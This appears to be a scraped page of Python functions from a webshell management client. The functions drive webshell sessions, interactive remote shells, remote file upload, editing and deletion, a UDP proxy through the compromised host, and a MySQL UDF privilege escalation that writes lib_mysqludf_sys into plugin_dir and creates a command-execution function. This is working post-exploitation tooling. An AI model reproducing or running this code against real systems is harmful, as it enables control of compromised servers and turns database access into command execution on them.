Example #1
0
 def start_remote_udp_server(self):
     '''开启远程UDP服务器,用于转发请求
     '''
     while True:
         self.exp.session.client.options.set_temp_option('timeout', 0)
         ret = self.exp.evalfile('payload/proxy', host=self.shost, port=self.sport)
         if not ret.is_success():
             break
         ret = json.loads(ret.data)
         if ret['code'] == 1:
             break
         elif ret['code'] in (-1, -2):
             msg = base64.b64decode(ret['msg'].encode()).decode(self.exp.session.client.options.encoding, 'ignore')
             logger.error("Remote UDP Server error: "+msg)
             if ret['code'] == -2 and utils.input(f"Remote UDP Server Port `{self.sport}` binding failed, do you want to change the port? (y/n) ").lower() == 'y':
                 try:
                     self.sport = int(utils.input("Remote UDP Server Port: "))
                     continue
                 except:
                     logger.error("Illegal input!")
         elif ret['code'] == -3:
             logger.error("Remote UDP Server error: "+"An unknown error occurred remotely causing `select` to exit")
         break
     
     with self._lock:
         self.running = False
         self.server.close()
Example #2
0
 def _interactive(self) -> int:
     logger.info(
         "This is just an interactive window that continuously executes SQL statements. "
     )
     logger.info("Type `exit` or `quit` or Ctrl-C to exit.")
     try:
         while True:
             prompt = colour.colorize('oracle', 'underline')+'('+colour.colorize(f"{self._user}@{self._host}", fore='green')+')'+\
                 f" [{colour.colorize(self._current_database, fore='yellow')}] > "
             sql = utils.input(prompt)
             if sql == '':
                 continue
             elif sql in ('exit', 'quit'):
                 break
             elif sql == 'clear':
                 self.session.exec("clear")
                 continue
             elif sql.startswith('use '):
                 match = re.fullmatch(r'use\s+(\w+)', sql)
                 if match:
                     old = self._current_database
                     self._current_database = match.group(1)
                     if self._query(sql) == self.ERROR:
                         self._current_database = old
                 continue
             self._query(sql)
     except KeyboardInterrupt:
         print('')
     return self.SUCCESS
Example #3
0
 def run(self, args: Cmdline)-> int:
     args = self.parse.parse_args(args.options)
     if self.session.has_cmd(args.alias) and utils.input("Alias ​​already exists!Do you want to overwrite it? (y/n) ").lower() != 'y':
         return self.STOP
     self._add(args.alias, args.cmd, args.description)
     logger.info(f"Add alias command: {args.alias} => {cmd}", True)
     return self.SUCCESS
Example #4
0
 def run(self, args: Cmdline) -> int:
     args = self.parse.parse_args(args.options)
     ret = self.SUCCESS
     if args.create is not None:
         ret = self._create_from_file(args.create, args.nosave)
     elif args.list:
         ret = self._list()
     elif args.delete:
         ids = ', '.join([str(i) for i in args.delete])
         if utils.input(
                 f"Are you sure to delete these webshell connection `{ids}`? (y/n) "
         ).lower() == 'y':
             for i in args.delete:
                 self._delete(i, True)
     elif args.save is not None:
         if len(args.save) == 0:
             if self.session.client is None:
                 logger.error("No webshell client is using.")
                 return self.STOP
             else:
                 ret = self._save(self.session)
         else:
             for i in args.save:
                 if i in self.manager.session_map:
                     self._save(self.manager.session_map.get(i))
     else:
         if isinstance(self.session, MainSession):
             ret = self._create_from_client(self.session, args.nosave, None)
         else:
             logger.error(
                 "Current session is a webshellsession!If you want to get a copy, it is recommended to create it from a file"
             )
             ret = self.STOP
     return ret
Example #5
0
    def _delete(self, ID: int, force: bool) -> int:
        try:
            tree = ET.parse(config.webshell_save_path)
            root = tree.getroot()
            item = None
            for c in root:
                if int(c.attrib.get('id', 0)) == ID:
                    item = c
                    break
            if item is None:
                logger.error(f"No saved webshell connection for ID `{ID}`!")
                return self.STOP
            if force or utils.input(
                    "Are you sure to delete this webshell connection? (y/n) "
            ).lower() == 'y':
                root.remove(item)
                tree.write(config.webshell_save_path)
                logger.info(f"Remove a saved webshell connections `{ID}`",
                            False)
                return self.SUCCESS
        except ET.ParseError:
            logger.error(
                f"Xml parse error!Check this file `{config.webshell_save_path}`"
            )
        except FileNotFoundError:
            logger.error(f"This file `{config.webshell_save_path}` not found!")

        return self.STOP
Example #6
0
    def cmdloop(self):
        self.running = True
        thread_list = []
        keepthread = threading.Thread(target=self._keep_shell_alive,
                                      name="keep shell alive")
        shellthread = threading.Thread(target=self._shell, name="shell")
        readerthread = threading.Thread(target=self._reader, name="reader")
        keepthread.setDaemon(True)
        shellthread.setDaemon(True)
        readerthread.setDaemon(True)

        thread_list.append(keepthread)
        keepthread.start()
        utils.sleep(1)
        if self.running:
            thread_list.append(shellthread)
            thread_list.append(readerthread)
            shellthread.start()
        else:
            return

        utils.sleep(1)
        readerthread.start()
        try:
            if self.exp.session.server_info.isUnix(
            ) and self._is_supported_shell():
                logger.info(
                    'You can type `:getfshell` to upgrade to a fully interactive shell(The premise is that Pty has been obtained.)'
                )
                logger.info(
                    "Type `Ctrl + c` three times in a row to exit the fully interactive shell"
                )
            while self.running:
                cmd = utils.input()
                if not cmd:
                    continue
                if self.exp.session.server_info.isUnix(
                ) and cmd == ':getfshell' and self._is_supported_shell():
                    if not self.enter_fully_shell():
                        logger.error(
                            "Unable to get a fully interactive shell!")
                        continue
                    break
                self._writer(cmd + '\n')
        except KeyboardInterrupt:
            pass

        self.close()
        logger.info("Wait for thread exit...")
        for t in thread_list:
            t.join(5)
            if t.is_alive() and not utils.kill_thread(t.ident):
                logger.error(
                    f"Exit thread `{t.name}` failed, thread id is `{t.ident}`!"
                )
        logger.info("All have been cleaned up!")
Example #7
0
 def run(self, args: Cmdline) -> int:
     args = self.parse.parse_args(args.options)
     local = args.local
     if local is None:
         local = utils.pathsplit(args.source)[1]
     local = local.replace('/', os.sep)
     local = os.path.join(config.work_path, local)
     d, fname = utils.pathsplit(args.source)
     if os.path.exists(local):
         if os.path.isfile(local):
             logger.warning(f"Local file `{local}` is exist.")
             if utils.input(
                     colour.colorize("Are you sure to overwrite it?(y/n) ",
                                     'bold')).lower() != 'y':
                 return self.STOP
         elif os.path.isdir(local):  # 如果指定的本地路径为目录,那么会把下载的文件或目录放在该目录下
             for f in os.listdir(local):
                 if f.lower() == fname.lower():
                     if os.path.isdir(f):  # 不准有同名目录
                         logger.error(
                             f"Local folder `{local}` contain a same name directory `{f}`!"
                         )
                         return self.STOP
                     logger.warning(
                         f"Local folder `{local}` contain a same name file `{fname}`."
                     )
                     if utils.input(
                             colour.colorize(
                                 "Are you sure to overwrite it?(y/n) ",
                                 'bold')).lower() != 'y':
                         return self.STOP
                     break
     else:
         dirname = os.path.dirname(local.rstrip(os.sep))
         if not os.path.exists(dirname):
             logger.error(f"Local directory `{dirname}` is not exist!")
             return self.STOP
     logger.info("Downloading...")
     ret = self.download(args.source, local, args.recursive)
     if ret == self.SUCCESS:
         logger.info("All items downloaded!")
     return ret
Example #8
0
 def run(self, args: Cmdline) -> int:
     args = self.parse.parse_args(args.options)
     if args.force:
         if isinstance(self.session, WebshellSession):
             self.session.exec(Cmdline(f"sessions -k {self.session.id} -f"))
             return self.SUCCESS
         else:
             return self.EXIT
     if utils.input("Are you sure to exit? (y/n) ").lower() == 'y':
         return self.EXIT
     return self.SUCCESS
Example #9
0
 def _upload(self, remote: str, data: bytes, force: bool,
             uploadsize: int) -> int:
     '''将数据写入到远程文件
     '''
     sign = 1 if force else 0
     total = math.ceil(len(data) / uploadsize) if uploadsize > 0 else 1
     progress = 0
     while data:
         block = data[:uploadsize] if uploadsize > 0 else data
         data = data[uploadsize:] if uploadsize > 0 else b''
         ret = self.evalfile('upload',
                             pwd=self.session.pwd,
                             path=remote,
                             data=block,
                             sign=sign)
         sign = 2
         ret = ret.data
         while ret is None:
             if total > 1:  # 如果分片上传时失败,则重传一次该分片
                 ret = self.evalfile('upload',
                                     pwd=self.session.pwd,
                                     path=remote,
                                     data=block,
                                     sign=sign)
                 if ret.is_success():
                     ret = ret.data
                     break
             logger.error("upload file error!")
             return self.STOP
         if ret == '0':
             logger.warning(f"Remote file `{remote}` is exist.")
             if utils.input("Are you sure to overwrite the file? (y/n) "
                            ).lower() == 'y':
                 return self._upload(remote, block + data, True, uploadsize)
         elif ret == '-1':
             logger.error("Remote file open failed!")
             logger.error(
                 'Check if the path is correct or if you have write permission.'
             )
             return self.STOP
         elif ret == '1':
             if total > 1:
                 progress += 1
                 per = str(int(progress / total * 100)) + '%'
                 per = per.rjust(4, ' ')
                 print(f"Upload progress {per} ({progress}/{total}).",
                       end='\r',
                       flush=True)
             continue
         else:
             logger.error("Unknow error!")
             return self.STOP
     logger.info(f"Upload file `{remote}` successfully!")
     return self.SUCCESS
Example #10
0
    def cmdloop(self):
        self.running = True
        start_thread = threading.Thread(target=self.start_shell)
        reader_thread = threading.Thread(target=self.reader)
        thread_list = [start_thread, reader_thread]
        start_thread.setDaemon(True)
        reader_thread.setDaemon(True)
        start_thread.start()
        utils.sleep(1)
        reader_thread.start()

        try:
            if self.exp.session.server_info.isUnix(
            ) and self._is_supported_shell():
                logger.info(
                    'You can type `:getfshell` to upgrade to a fully interactive shell(The premise is that Pty has been obtained.)'
                )
                logger.info(
                    "Type `Ctrl + c` three times in a row to exit the fully interactive shell"
                )
            while self.running:
                cmd = utils.input()
                if not cmd:
                    continue
                if self.exp.session.server_info.isUnix(
                ) and cmd == ':getfshell' and self._is_supported_shell():
                    if not self.enter_fully_shell():
                        logger.error(
                            "Unable to get a fully interactive shell!")
                        continue
                    break
                self.writer(cmd + '\n')
        except KeyboardInterrupt:
            pass
        except BaseException as e:
            logger.error(e)

        self.close()
        for t in thread_list:
            t.join(5)
            if t.is_alive():
                utils.kill_thread(t.ident)
Example #11
0
    def _kill(self, ID: int, force=False) -> int:
        if ID not in self.manager.session_map:
            logger.error(f"No session id is `{ID}`.")
            return self.STOP

        if isinstance(self.session, WebshellSession) and ID == self.session.id:
            logger.warning('You will kill the session you live on!')
        if force or utils.input(
                f"Are you sure to kill the session with id `{ID}` (y/n)"
        ).lower() == 'y':
            s = self.manager.session_map[ID]
            # 执行销毁时的回调函数
            s._hook_destroy()
            del self.manager.session_map[ID]
            logger.info(f"A session `{ID}` has been killed.", False)

            if isinstance(self.session,
                          WebshellSession) and ID == self.session.id:
                return self._switch(0)

        return self.SUCCESS
Example #12
0
    def run(self, args: Cmdline) -> int:
        args = self.parse.parse_args(args.options)
        if args.force or utils.input(
                "Are you sure to delete these files? (y/n) ").lower() == 'y':
            flist = "\n".join(args.dest)
            ret = self.evalfile('payload', flist=flist, pwd=self.session.pwd)
            ret = ret.data
            if ret is None:
                logger.error("Remove file error!")
                return self.STOP
            ret = json.loads(ret)
            for msg in ret['msg']:
                msg = base64.b64decode(msg).decode(
                    self.session.client.options.encoding, 'ignore')
                if 'failed' in msg or 'exist' in msg:
                    logger.warning(msg)
                else:
                    logger.info(msg)
            if ret['code'] == -1:
                return self.STOP

        return self.SUCCESS
Example #13
0
    def run(self, args: Cmdline) -> int:
        args = self.parse.parse_args(args.options)
        if args.sourcepath and args.targetpath:

            result = self.evalfile('payload',
                                   pwd=self.session.state.get('pwd'),
                                   source=args.sourcepath,
                                   dest=args.targetpath,
                                   f=False)
            result = result.data
            if result is None:
                logger.error("Move error!")
                return self.STOP

            if result == 'Dest file exists':
                if utils.input(
                        "Target file is exists, are you want to overwrite it?(y/n) "
                ).lower() == 'y':
                    result = self.evalfile('payload',
                                           pwd=self.session.state.get('pwd'),
                                           source=args.sourcepath,
                                           dest=args.targetpath,
                                           f=True).strip()
                else:
                    return self.SUCCESS

            if result == 'ok':
                logger.info(
                    f"Move `{args.sourcepath}` to `{args.targetpath}` successfully!"
                )
                return self.SUCCESS
            else:
                logger.error(
                    f"Move `{args.sourcepath}` to `{args.targetpath}` failed!Check your permissions."
                )
                print(result)
                return self.STOP

        return self.STOP
Example #14
0
 def cmdloop(self):
     logger.info(
         "Simply execute commands without maintaining any state.Type `exit` or `Ctrl-C` to exit."
     )
     logger.warning(
         "This shell is just a loop to execute the input commands, not a real interactive shell!"
     )
     self.running = True
     try:
         while self.running:
             cmd = utils.input(">> ")
             if cmd:
                 if cmd.lower() == 'exit':
                     self.running = False
                     break
                 msg = self.exp.exec_command(cmd + " 2>&1")
                 if msg is None:
                     logger.error(f"Exec `{cmd}` failed!")
                     continue
                 print(
                     msg.decode(self.exp.session.client.options.encoding,
                                'ignore'))
     except KeyboardInterrupt:
         pass
Example #15
0
    def _exec_udf(self):
        '''上传mysql的udf用于命令执行
        '''
        encoding = self.session.client.options.encoding
        # 验证是否存在当前用于执行命令的函数
        sql = f"select * from mysql.func where name = '{self._exec_func}'"
        ret = self.evalfile('payload/query',
                            host=self._host,
                            port=self._port,
                            user=self._user,
                            password=self._password,
                            database=self._current_database,
                            sql=sql)
        if not ret.is_success():
            logger.error("Query funtions info failed!")
            return self.STOP
        ret = json.loads(ret.data)
        if ret['code'] == 1:
            if ret['result'] and len(ret['result']) > 1:
                logger.info(f"Funtion `{self._exec_func}` already exists!",
                            True)
                return self.SUCCESS
        else:
            logger.error("Query funtions info failed!")
            return self.STOP

        # 搜集信息
        logger.info("Information collection...")
        plugin_dir = None
        secure_file_priv = None
        version_compile_machine = None
        version_compile_os = None
        version = None
        sql = "show global variables where variable_name in ('secure_file_priv', 'plugin_dir', 'version_compile_machine', 'version_compile_os', 'version')"
        ret = self.evalfile('payload/query',
                            host=self._host,
                            port=self._port,
                            user=self._user,
                            password=self._password,
                            database=self._current_database,
                            sql=sql)
        if not ret.is_success():
            logger.error("Mysql information collection failed!")
            return self.STOP
        ret = ret.data
        ret = json.loads(ret)
        if ret['code'] == 1:
            if ret['result']:
                r = [
                    base64.b64decode(t[1].encode()).decode(encoding, 'ignore')
                    for t in ret['result']
                ]
                plugin_dir = r[1]
                secure_file_priv = r[2]
                version = r[3]
                version_compile_machine = r[4]
                version_compile_os = r[5]
            else:
                logger.error("Mysql information collection failed!")
                return self.STOP
        elif ret['code'] in (0, -1):
            msg = base64.b64decode(ret['msg'].encode()).decode(
                encoding, 'ignore')
            print(msg)
            return self.STOP
        else:
            logger.error("Mysql information collection failed!")
            return self.STOP
        logger.info(f"plugin_dir: {plugin_dir}", True)
        logger.info(f"secure_file_priv: {secure_file_priv}", True)
        logger.info(f"version: {version}", True)
        logger.info(f"version_compile_machine: {version_compile_machine}",
                    True)
        logger.info(f"version_compile_os: {version_compile_os}", True)
        v = re.search(r'(\d+)\.(\d+)', version)
        if v is not None and 'win' in version_compile_os.lower():
            m = int(v.group(1))
            c = int(v.group(2))
            if (m == 5 and c < 1) or m < 5:  # Windows上mysql<5.1
                logger.info(
                    f"Mysql on {version_compile_os} {version_compile_machine} version < 5.1, you can upload udf to c:\winnt\system32 or c:\windows\system32!"
                )
                return self.SUCCESS

        # 写入udf
        arch = '32'
        ext = 'so'
        if '64' in version_compile_machine:
            arch = '64'
        if 'win' in version_compile_os.lower():
            ext = 'dll'
        local_udfpath = os.path.join(os.path.dirname(__file__), 'extra_code',
                                     f'lib_mysqludf_sys_{arch}.{ext}')
        logger.info(f"Using udf `{local_udfpath}`")
        udfdata = b''
        with open(local_udfpath, 'rb') as f:
            udfdata = f.read()
        udfdata = udfdata.hex()
        udfname = utils.randomstr(8) + '.' + ext
        udfpath = plugin_dir + udfname
        if secure_file_priv and secure_file_priv != plugin_dir:
            logger.error("Can not upload udf with secure_file_priv!")
            if utils.input(
                    "Can not upload udf with secure_file_priv!Do you want to try to upload UDF with web permission? (y/n) "
            ).lower() == 'y':
                if self.session.exec(['upload', local_udfpath,
                                      udfpath]) == self.SUCCESS:
                    logger.info("UDF write successful!")
                else:
                    logger.error("Write UDF failed!")
                    return self.STOP
            else:
                return self.STOP
        else:  # 使用sql语句写入UDF
            logger.info(f"Start write udf to {udfpath}...")
            sql = f"select unhex('{udfdata}') into dumpfile '{udfpath}'"
            ret = self.evalfile('payload/query',
                                host=self._host,
                                port=self._port,
                                user=self._user,
                                password=self._password,
                                database=self._current_database,
                                sql=sql)
            if not ret.is_success():
                logger.error("Write UDF failed!")
                return self.STOP
            ret = ret.data
            ret = json.loads(ret)
            if ret['code'] == 2:
                logger.info("UDF write successful!", True)
            elif ret['code'] in (0, -1):
                msg = base64.b64decode(ret['msg'].encode()).decode(
                    encoding, 'ignore')
                print(msg)
                logger.error("Write UDF failed!")
                return self.STOP
            else:
                logger.error("Write UDF failed!")
                return self.STOP

        # 创建命令执行函数
        sql = f"create function {self._exec_func} returns string soname '{udfname}'"
        ret = self.evalfile('payload/query',
                            host=self._host,
                            port=self._port,
                            user=self._user,
                            password=self._password,
                            database=self._current_database,
                            sql=sql)
        if not ret.is_success():
            logger.error(f"Create function `{self._exec_func}` failed!")
            return self.STOP
        ret = ret.data
        ret = json.loads(ret)
        if ret['code'] == 2:
            logger.info(f"Create function `{self._exec_func}` successful!",
                        True)
            self._query(
                f"select * from mysql.func where name = '{self._exec_func}'")
            return self.SUCCESS
        elif ret['code'] in (0, -1):
            msg = base64.b64decode(ret['msg'].encode()).decode(
                encoding, 'ignore')
            print(msg)
            logger.error(f"Create function `{self._exec_func}` failed!")
            return self.STOP
        else:
            logger.error(f"Create function `{self._exec_func}` failed!")
        return self.STOP
Example #16
0
    def run(self, args: Cmdline) -> int:
        is_new_file = False  # 指定编辑的文件是否是新文件
        args = self.parse.parse_args(args.options)
        logger.info('Downloading...')
        data = self.evalfile('download',
                             path=args.source,
                             pwd=self.session.pwd)
        data = data.data
        if data is None:
            logger.error("Download error!")
            return self.STOP
        data = json.loads(data)
        if data['code'] == 0:
            logger.error(f"File `{args.source}` is not exist on server.")
            if utils.input(
                    f"Do you want to edit a new file and upload to server? (y/n) "
            ).lower() == 'y':
                is_new_file = True
            else:
                return self.STOP
        elif data['code'] == -1:
            logger.error(f"File is not readable!Check your permissions.")
            return self.STOP
        elif data['code'] == -2:
            logger.error(f"File is not writable!Check your permissions.")
            return self.STOP
        else:
            logger.info('Download over!')
        data = base64.b64decode(data['msg'].encode())
        fname = args.source.replace('/', '_').replace('\\', '_')
        with tempfile.TemporaryDirectory() as tmpdir:
            path = os.path.join(tmpdir, fname)
            with open(path, 'wb') as f:
                f.write(data)

            if os.system(f"{config.editor} {path}") != 0:
                logger.error(
                    f"Run editor `{config.editor}` failed!The editor must edit file in console like `vim filename` or `notepad filename`"
                )
                logger.info(
                    f"You can change editor in config file `{os.path.join(config.root_path, 'config.py')}`"
                )
                return self.STOP

            ret = b''
            with open(path, 'rb') as f:
                ret = f.read()
                if ret == data:
                    logger.warning('File content no changes!So do not upload!')
                    return self.SUCCESS

            logger.info("Uploading...")
            ret = self.evalfile('upload',
                                data=ret,
                                path=args.source,
                                pwd=self.session.pwd)
            ret = ret.data
            if ret is None:
                logger.error("Upload error!")
                return self.STOP
            if ret == '1':
                logger.info(f"Edit file `{args.source}` success!")
                return self.SUCCESS
            elif ret == '-1':
                logger.error('Incomplete file writing!Try it again.')
            else:
                logger.error("Failed to edit file for unknown reason!")

        return self.STOP